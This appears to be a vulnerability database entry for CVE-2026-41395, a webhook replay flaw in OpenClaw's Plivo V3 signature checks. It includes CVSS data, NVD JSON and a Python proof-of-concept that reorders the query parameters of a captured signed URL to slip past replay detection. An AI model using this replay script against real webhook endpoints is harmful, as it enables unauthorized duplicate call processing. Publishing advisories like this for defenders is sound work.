Security Vulnerability Report
中文
CVE-2026-41395 CVSS 7.5 HIGH

CVE-2026-41395

Published: 2026-04-28 19:37:43
Last Modified: 2026-04-30 20:45:26

Description

OpenClaw before 2026.3.28 contains a webhook replay vulnerability in Plivo V3 signature verification that canonicalizes query ordering for signatures but hashes raw URLs for replay detection. Attackers can reorder query parameters to bypass replay cache detection and trigger duplicate voice-call processing with a captured valid signed webhook.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:openclaw:openclaw:*:*:*:*:*:node.js:*:* - VULNERABLE
OpenClaw < 2026.3.28

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import urllib.parse def exploit_webhook_replay(original_url): """ Exploit the webhook replay vulnerability by reordering query parameters. The signature verification normalizes params, but replay detection hashes the raw URL. """ # Parse the original URL parsed = urllib.parse.urlparse(original_url) params = urllib.parse.parse_qs(parsed.query) # Extract parameter keys keys = list(params.keys()) # Reverse the order of keys to create a new raw URL string # (Any permutation that differs from the original works) keys.reverse() # Reconstruct the query string with the new order new_params = [] for key in keys: for value in params[key]: new_params.append((key, value)) new_query = urllib.parse.urlencode(new_params) # Build the new URL replay_url = parsed._replace(query=new_query).geturl() print(f"[+] Original URL: {original_url}") print(f"[+] Replay URL: {replay_url}") # Send the malicious replay request try: response = requests.get(replay_url) print(f"[+] Response Status Code: {response.status_code}") if response.status_code == 200: print("[!] Replay successful! Request accepted by server.") else: print("[-] Replay failed.") except Exception as e: print(f"[-] Error during request: {e}") if __name__ == "__main__": # Example captured webhook URL target = "https://api.victim.com/webhook/plivo?call_uuid=123&status=completed&signature=GENERATED_SIG_HASH" exploit_webhook_replay(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-41395", "sourceIdentifier": "[email protected]", "published": "2026-04-28T19:37:42.880", "lastModified": "2026-04-30T20:45:25.643", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenClaw before 2026.3.28 contains a webhook replay vulnerability in Plivo V3 signature verification that canonicalizes query ordering for signatures but hashes raw URLs for replay detection. Attackers can reorder query parameters to bypass replay cache detection and trigger duplicate voice-call processing with a captured valid signed webhook."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-325"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openclaw:openclaw:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "2026.3.28", "matchCriteriaId": "16831C6C-CC20-4318-8F7C-9FCFB12A223F"}]}]}], "references": [{"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-8689-gm9g-jgr6", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.vulncheck.com/advisories/openclaw-webhook-replay-via-query-parameter-reordering-in-plivo-v3", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}